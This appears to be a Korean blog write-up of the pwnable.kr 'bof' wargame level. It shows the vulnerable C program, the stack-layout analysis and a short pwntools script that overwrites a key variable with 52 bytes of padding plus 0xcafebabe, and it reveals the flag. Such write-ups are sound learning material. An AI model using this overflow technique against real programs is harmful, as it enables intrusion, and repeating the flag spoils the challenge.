Pwnable.kr - 3 - bof

2023. 1. 25. 21:17Pwnable/Pwnable.kr

문저 문제의 소스코드를 봐보자.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

func 함수에서 문자열 overflowme를 32byte 까지 할당 받을 수 있다

 

그다음 정수형 변수로 선언받은 key 값이 0xcafebabe 로 같아지면 된다.

 

대놓고 변수명과 문제 이름에서부터 Buffer Over Flow 공격을 하라고 나와있는 문제다.

 

즉 입력받는 overflowme 변수를 통해 키 값까지의 메모리 영역을 다 덮어버리고 이후 key 값 위치에 0xcafebabe 라는 값이 들어가게 하면 된다.

 

먼저 pwngdb를 활용하여 key 값 위치와 입력받는 변수 overflowme 변수의 위치를 확인해 볼 필요성이 있다.

 

func 함수를 디스어셈블리한 값이다.

 

func + 40 부근에 어셈블리어 cmp를 통해 두개의 값을 비교하는 걸 볼 수 있다. 이중 ebp+0x8 을 0xcafebabe와 비교를 함으로 문제 코드에 맞게 if문 코드와 동일한 부분인 것을 확인할 수 있다.

 

ebp + 0x8  == Key 로 나타낼 수 있다.

 

다음은 변수 overflowme 이다.

 

위는 프린트 하는 부분 근처에 존재할 것이기에 쉽게 찾아낼 수 있을 거 같다.

 

func + 29 부근인 것을 확인할 수 있다.

 

이유로는 key 값을 나타내는 곳 바로 위에 있을 뿐더러 해당 부분까지 디버깅을 시도하며 실행시켜보면 다음과 같은 창이 뜬다.

 

 

Overflow me : 가 출력되고 이후 gets 함수가 실행되므로 이후 저장값으로 볼 수 있다. 즉 우리가 입력하는 변수의 위치는 ebp - 0x2c가 맞을 것이다.

 

스택 구조로 생각하면

 

--Low--

=============================

 

overflowme[32]

 

==============================

 

dummy[12] // 소스코드에서 버퍼는 32byte 로 되어있지만 buffer 값은 ebp - 0x2c 인데 이를 10진수로 계산하면 44 다. 즉 쓰레기                        값이 12byte로 함께 있다는 것

 

==============================

 

ebp+ret[8]

 

==============================

 

key[4]

 

===============================

--HIGH--

 

 

즉 익스플로잇을 52byte를 넣어 덮고 key 값을 0xcafebabe 로 넣으면 될것이다 .

 

pwntools 을 활용한 exploit 코드는 다음과 같다.

 
from pwn import *


p = remote("pwnable.kr", 9000)

payload="A" * 52 + "\xbe\xba\xfe\xca"
payload1= "cat flag"

p.sendline(payload)
p.sendline(payload1)
p.interactive()

 

작동 화면

 

 

flag = daddy, I just pwned a buFFer :)

'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr - 6 - random  (0) 2023.02.23
pwnable.kr -5- passcode  (0) 2023.02.23
Pwnable.kr - 4 - flag  (0) 2023.01.26
Pwnable.kr -2- col  (0) 2023.01.25
pwnable.kr - 1 - fd  (0) 2023.01.25